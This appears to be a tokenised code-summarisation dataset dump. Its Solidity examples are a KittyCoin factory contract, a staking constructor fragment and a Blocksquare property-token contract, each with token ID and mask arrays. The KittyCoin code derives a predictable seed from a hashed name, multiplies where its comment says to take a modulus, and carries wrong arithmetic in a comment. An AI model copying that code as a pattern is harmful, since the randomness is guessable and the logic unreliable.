0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
288,
203,
3639,
389,
542,
43,
1527,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
import "./ownership/Ownable.sol";
/**
* @title KittyCoinFactory
* @author Nathan Glover
* @notice KittyCoinClub contract is the main input to the this DApp, it controls the
* supply of KittyCoins in circulation and other utilities perdinant to the contract a a whole
*/
contract KittyCoinFactory is Ownable {
/* Events */
event NewKittyCoin(uint kittyCoinId, string name, uint coinSeed);
// Used to generate the different types of KittyCoin.
// uint equal to 10^16. use the modulus operator %
// to shorten an integer to 16 digits.
uint coinDigits = 16;
uint seedModulus = 10 ** coinDigits;
//TODO eventually instead of name, use the kitty donated to
struct KittyCoin {
string name;
uint coinSeed;
}
// Public array of all KittyCoins
KittyCoin[] public kittyCoins;
/* Mappings */
mapping (uint => address) public kittyCoinToOwner;
mapping (address => uint) ownerKittyCoinCount;
/**
* @notice generate the KittyCoin's safely
* @param _name kitty name or identifier
* @param _seed the generated seed
*/
function _createKittyCoin(string _name, uint _seed) internal {
// 'id' is the index of the kittycoin in the array of kittycoins
uint id = kittyCoins.push(KittyCoin(_name, _seed)) - 1;
// assign the owner of the kittycoin to the sender
kittyCoinToOwner[id] = msg.sender;
// increment the total number of kittcoins owned for the sender
ownerKittyCoinCount[msg.sender]++;
// Send an event alerting the KittyCoins creation
NewKittyCoin(id, _name, _seed);
}
//TODO decide if I want to allow an inital purchase of not
/**
* @notice Generates the random seed based on an input string
* @param _str input seed for the randomly generated coin
* @return a random seed
*/
function _generateRandomSeed(string _str) private view returns (uint) {
// First gets the Keccak hash of our input string.
// for example: Gracie
// 7104ce976fa04688b15c4b9a9a675060a6add290ccb2a5e2fa8f4b4f98ea748f
uint rand = uint(keccak256(_str));
// Then multiplies our hash by the seedModulus. In this case
// its 16 * 10 = 160
// 7104ce976fa04688b15c4b9a9a675060a6add290ccb2a5e2fa8f4b4f98ea748f * 160
return rand * seedModulus;
}
/**
* @notice Allows new-commers to generate their first
* @param _name input seed for the randomly generated coin
*/
function createRandomKittyCoin(string _name) public {
// Confirm that the owner doesn't have any kittycoins
require(ownerKittyCoinCount[msg.sender] == 0);
// the seed for the kittycoin is generated based on the input string
uint randSeed = _generateRandomSeed(_name);
// The cat is created by a private function
_createKittyCoin(_name, randSeed);
}
}
|
Public array of all KittyCoins
|
KittyCoin[] public kittyCoins;
| 15,864,961 |
[
1,
4782,
526,
434,
777,
1475,
305,
4098,
39,
9896,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1475,
305,
4098,
27055,
8526,
1071,
31758,
4098,
39,
9896,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5388f63363d2EF6812AE55c9E41D68096588e36e/sources/contracts/StakeMLA.sol
|
number of tokens Per day
|
) {
ERC20_CONTRACT = _erc20;
ERC721_CONTRACT = _erc721;
REWARDS_PROXY_CONTRACT = _proxy;
EXPIRATION = block.number + _expiration;
rewardRate = uint256(2 * 1e18) / 6000;
started = false;
}
| 9,667,735 |
[
1,
2696,
434,
2430,
5722,
2548,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
288,
203,
3639,
4232,
39,
3462,
67,
6067,
2849,
1268,
273,
389,
12610,
3462,
31,
203,
3639,
4232,
39,
27,
5340,
67,
6067,
2849,
1268,
273,
389,
12610,
27,
5340,
31,
203,
3639,
2438,
16777,
3948,
67,
16085,
67,
6067,
2849,
1268,
273,
389,
5656,
31,
203,
3639,
31076,
24284,
273,
1203,
18,
2696,
397,
389,
19519,
31,
203,
3639,
19890,
4727,
273,
2254,
5034,
12,
22,
380,
404,
73,
2643,
13,
342,
1666,
3784,
31,
203,
3639,
5746,
273,
629,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Prop {
function noFeeTransfer(address _to, uint256 _value) public returns (bool);
function mintTokens(address _atAddress, uint256 _amount) public;
}
contract BST {
function balanceOf(address _owner) public constant returns (uint256 _balance);
}
contract FirstBuyers is Ownable {
using SafeMath for uint256;
/* Modifiers */
modifier onlyFirstBuyer() {
require(firstBuyers[msg.sender].tokensReceived > 0);
_;
}
/* Struct */
struct FirstBuyer {
uint256 lastTransactionIndex;
uint256 tokensReceived;
uint256 weightedContribution;
}
/* Mappings */
mapping(address => FirstBuyer) firstBuyers;
mapping(uint256 => uint256) transactions;
mapping(uint256 => address) firstBuyerIndex;
/* Private variables */
uint256 numOfTransaction;
uint256 numOfFirstBuyers = 0;
uint256 totalWeightedContribution;
Prop property;
BST bst;
event FirstBuyerWhitdraw(address indexed _firstBuyer, uint256 _amount);
event NewTransactionOfTokens(uint256 _amount, uint256 _index);
/**
* @dev constructor function, creates new FirstBuyers
* @param _property Address of property
* @param _owner Owner of this ICO
**/
constructor(address _property, address _owner) public {
property = Prop(_property);
owner = _owner;
bst = BST(0x509A38b7a1cC0dcd83Aa9d06214663D9eC7c7F4a);
}
/**
* @dev add first buyers
* @param _addresses Array of first buyer addresses
* @param _amount Array of first buyer tokens
**/
function addFirstBuyers(address[] _addresses, uint256[] _amount) public onlyOwner {
require(_addresses.length == _amount.length);
for(uint256 i = 0; i < _addresses.length; i++) {
uint256 weightedContribution = (bst.balanceOf(_addresses[i]).mul(_amount[i])).div(10**18);
FirstBuyer storage buyer = firstBuyers[_addresses[i]];
uint256 before = buyer.tokensReceived;
buyer.tokensReceived = buyer.tokensReceived.add(_amount[i]);
buyer.weightedContribution = buyer.weightedContribution.add(weightedContribution);
property.mintTokens(_addresses[i], _amount[i]);
firstBuyers[_addresses[i]] = buyer;
totalWeightedContribution = totalWeightedContribution.add(weightedContribution);
if(before == 0) {
firstBuyerIndex[numOfFirstBuyers] = _addresses[i];
numOfFirstBuyers++;
}
}
}
/**
* @dev allows First buyers to collect fee from transactions
**/
function withdrawTokens() public onlyFirstBuyer {
FirstBuyer storage buyer = firstBuyers[msg.sender];
require(numOfTransaction >= buyer.lastTransactionIndex);
uint256 iterateOver = numOfTransaction.sub(buyer.lastTransactionIndex);
if (iterateOver > 30) {
iterateOver = 30;
}
uint256 iterate = buyer.lastTransactionIndex.add(iterateOver);
uint256 amount = 0;
for (uint256 i = buyer.lastTransactionIndex; i < iterate; i++) {
uint256 ratio = ((buyer.weightedContribution.mul(10**14)).div(totalWeightedContribution));
amount = amount.add((transactions[buyer.lastTransactionIndex].mul(ratio)).div(10**14));
buyer.lastTransactionIndex = buyer.lastTransactionIndex.add(1);
}
assert(property.noFeeTransfer(msg.sender, amount));
emit FirstBuyerWhitdraw(msg.sender, amount);
}
/**
* @dev save every transaction that BSPT sends
* @param _amount Amount of tokens taken as fee
**/
function incomingTransaction(uint256 _amount) public {
require(msg.sender == address(property));
transactions[numOfTransaction] = _amount;
numOfTransaction += 1;
emit NewTransactionOfTokens(_amount, numOfTransaction);
}
/**
* @dev get transaction index of last transaction that First buyer claimed
* @param _firstBuyer First buyer address
* @return Return transaction index
**/
function getFirstBuyer(address _firstBuyer) constant public returns (uint256, uint256, uint256) {
return (firstBuyers[_firstBuyer].lastTransactionIndex,firstBuyers[_firstBuyer].tokensReceived,firstBuyers[_firstBuyer].weightedContribution);
}
/**
* @dev get number of first buyers
* @return Number of first buyers
**/
function getNumberOfFirstBuyer() constant public returns(uint256) {
return numOfFirstBuyers;
}
/**
* @dev get address of first buyer by index
* @param _index Index of first buyer
* @return Address of first buyer
**/
function getFirstBuyerAddress(uint256 _index) constant public returns(address) {
return firstBuyerIndex[_index];
}
/**
* @dev get total number of transactions
* @return Total number of transactions that came in
**/
function getNumberOfTransactions() constant public returns(uint256) {
return numOfTransaction;
}
/**
* @dev get total weighted contribution
* @return Total sum of all weighted contribution
**/
function getTotalWeightedContribution() constant public returns(uint256) {
return totalWeightedContribution;
}
/**
* @dev fallback function to prevent any ether to be sent to this contract
**/
function () public payable {
revert();
}
}
/*****************************/
/* STANDARD ERC20 TOKEN */
/*****************************/
contract ERC20Token {
/** Functions needed to be implemented by ERC20 standard **/
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 _balance);
function transfer(address _to, uint256 _amount) public returns (bool _success);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool _success);
function approve(address _spender, uint256 _amount) public returns (bool _success);
function allowance(address _owner, address _spender) public constant returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
}
contract Data {
function canMakeNoFeeTransfer(address _from, address _to) constant public returns(bool);
function getNetworkFee() public constant returns (uint256);
function getBlocksquareFee() public constant returns (uint256);
function getCPFee() public constant returns (uint256);
function getFirstBuyersFee() public constant returns (uint256);
function hasPrestige(address _owner) public constant returns(bool);
}
/*****************/
/* PROPERTY */
/*****************/
contract PropToken is ERC20Token, Ownable {
using SafeMath for uint256;
struct Prop {
string primaryPropertyType;
string secondaryPropertyType;
uint64 cadastralMunicipality;
uint64 parcelNumber;
uint64 id;
}
/* Info about property */
string mapURL = "https://www.google.com/maps/place/Tehnolo%C5%A1ki+park+Ljubljana+d.o.o./@46.0491873,14.458252,17z/data=!3m1!4b1!4m5!3m4!1s0x477ad2b1cdee0541:0x8e60f36e738253f0!8m2!3d46.0491873!4d14.4604407";
string public name = "PropToken BETA 000000000001"; // Name of property
string public symbol = "BSPT-BETA-000000000001"; // Symbol for property
uint8 public decimals = 18; // Decimals
uint8 public numOfProperties;
bool public tokenFrozen; // Can property be transfered
/* Fee-recievers */
FirstBuyers public firstBuyers; //FirstBuyers
address public networkReserveFund; // Address of Reserve funds
address public blocksquare; // Address of Blocksquare
address public certifiedPartner; // Address of partner who is selling property
/* Private variables */
uint256 supply; //Current supply, at end total supply
uint256 MAXSUPPLY = 100000 * 10 ** 18; // Total supply
uint256 feePercent;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowances;
Data data;
Prop[] properties;
/* Events */
event TokenFrozen(bool _frozen, string _reason);
event Mint(address indexed _to, uint256 _value);
/**
* @dev constructor
**/
constructor() public {
owner = msg.sender;
tokenFrozen = true;
feePercent = 2;
networkReserveFund = address(0x7E8f1b7655fc05e48462082E5A12e53DBc33464a);
blocksquare = address(0x84F4CE7a40238062edFe3CD552cacA656d862f27);
certifiedPartner = address(0x3706E1CdB3254a1601098baE8D1A8312Cf92f282);
firstBuyers = new FirstBuyers(this, owner);
}
/**
* @dev add new property under this BSPT
* @param _primaryPropertyType Primary type of property
* @param _secondaryPropertyType Secondary type of property
* @param _cadastralMunicipality Cadastral municipality
* @param _parcelNumber Parcel number
* @param _id Id of property
**/
function addProperty(string _primaryPropertyType, string _secondaryPropertyType, uint64 _cadastralMunicipality, uint64 _parcelNumber, uint64 _id) public onlyOwner {
properties.push(Prop(_primaryPropertyType, _secondaryPropertyType, _cadastralMunicipality, _parcelNumber, _id));
numOfProperties++;
}
/**
* @dev set data factory
* @param _data Address of data factory
**/
function setDataFactory(address _data) public onlyOwner {
data = Data(_data);
}
/**
* @dev send tokens without fee
* @param _from Address of sender.
* @param _to Address of recipient.
* @param _amount Amount to send.
* @return Whether the transfer was successful or not.
**/
function noFee(address _from, address _to, uint256 _amount) private returns (bool) {
require(!tokenFrozen);
require(balances[_from] >= _amount);
balances[_to] = balances[_to].add(_amount);
balances[_from] = balances[_from].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev allows first buyers contract to transfer BSPT without fee
* @param _to Where to send BSPT
* @param _amount Amount of BSPT to send
* @return True if transfer was successful, false instead
**/
function noFeeTransfer(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == address(firstBuyers));
return noFee(msg.sender, _to, _amount);
}
/**
* @dev calculate and distribute fee for fee-recievers
* @param _fee Fee amount
**/
function distributeFee(uint256 _fee) private {
balances[networkReserveFund] = balances[networkReserveFund].add((_fee.mul(data.getNetworkFee())).div(100));
balances[blocksquare] = balances[blocksquare].add((_fee.mul(data.getBlocksquareFee())).div(100));
balances[certifiedPartner] = balances[certifiedPartner].add((_fee.mul(data.getCPFee())).div(100));
balances[address(firstBuyers)] = balances[address(firstBuyers)].add((_fee.mul(data.getFirstBuyersFee())).div(100));
firstBuyers.incomingTransaction((_fee.mul(data.getFirstBuyersFee())).div(100));
}
/**
* @dev send tokens
* @param _from Address of sender.
* @param _to Address of recipient.
* @param _amount Amount to send.
**/
function _transfer(address _from, address _to, uint256 _amount) private {
require(_to != 0x0);
require(_to != address(this));
require(balances[_from] >= _amount);
uint256 fee = (_amount.mul(feePercent)).div(100);
distributeFee(fee);
balances[_to] = balances[_to].add(_amount.sub(fee));
balances[_from] = balances[_from].sub(_amount);
emit Transfer(_from, _to, _amount.sub(fee));
}
/**
* @dev send tokens from your address.
* @param _to Address of recipient.
* @param _amount Amount to send.
* @return Whether the transfer was successful or not.
**/
function transfer(address _to, uint256 _amount) public returns (bool) {
require(!tokenFrozen);
if (data.canMakeNoFeeTransfer(msg.sender, _to) || data.hasPrestige(msg.sender)) {
noFee(msg.sender, _to, _amount);
}
else {
_transfer(msg.sender, _to, _amount);
}
return true;
}
/**
* @dev set allowance for someone to spend tokens from your address
* @param _spender Address of spender.
* @param _amount Max amount allowed to spend.
* @return Whether the approve was successful or not.
**/
function approve(address _spender, uint256 _amount) public returns (bool) {
allowances[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev send tokens
* @param _from Address of sender.
* @param _to Address of recipient.
* @param _amount Amount of token to send.
* @return Whether the transfer was successful or not.
**/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require(_amount <= allowances[_from][msg.sender]);
require(!tokenFrozen);
_transfer(_from, _to, _amount);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_amount);
return true;
}
/**
* @dev mint tokens, can only be done by first buyers contract
* @param _atAddress Adds tokens to address
* @param _amount Amount of tokens to add
**/
function mintTokens(address _atAddress, uint256 _amount) public {
require(msg.sender == address(firstBuyers));
require(balances[_atAddress].add(_amount) > balances[_atAddress]);
require((supply.add(_amount)) <= MAXSUPPLY);
supply = supply.add(_amount);
balances[_atAddress] = balances[_atAddress].add(_amount);
emit Mint(_atAddress, _amount);
emit Transfer(0x0, _atAddress, _amount);
}
/**
* @dev changes status of frozen
* @param _reason Reason for freezing or unfreezing token
**/
function changeFreezeTransaction(string _reason) public onlyOwner {
tokenFrozen = !tokenFrozen;
emit TokenFrozen(tokenFrozen, _reason);
}
/**
* @dev change fee percent
* @param _fee New fee percent
**/
function changeFee(uint256 _fee) public onlyOwner {
feePercent = _fee;
}
/**
* @dev get allowance
* @param _owner Owner address
* @param _spender Spender address
* @return Return amount allowed to spend from '_owner' by '_spender'
**/
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowances[_owner][_spender];
}
/**
* @dev total amount of token
* @return Total amount of token
**/
function totalSupply() public constant returns (uint256) {
return supply;
}
/**
* @dev check balance of address
* @param _owner Address
* @return Amount of token in possession
**/
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
/**
* @dev get information about property
* @param _index Index of property
* @return Primary type, secondary type, cadastral municipality, parcel number and id of property
**/
function getPropertyInfo(uint8 _index) public constant returns (string, string, uint64, uint64, uint64) {
return (properties[_index].primaryPropertyType, properties[_index].secondaryPropertyType, properties[_index].cadastralMunicipality, properties[_index].parcelNumber, properties[_index].id);
}
/**
* @dev get google maps url of property location
**/
function getMap() public constant returns (string) {
return mapURL;
}
}
|
Address of Reserve funds
|
address public networkReserveFund;
| 13,884,803 |
[
1,
1887,
434,
1124,
6527,
284,
19156,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1758,
1071,
2483,
607,
6527,
42,
1074,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
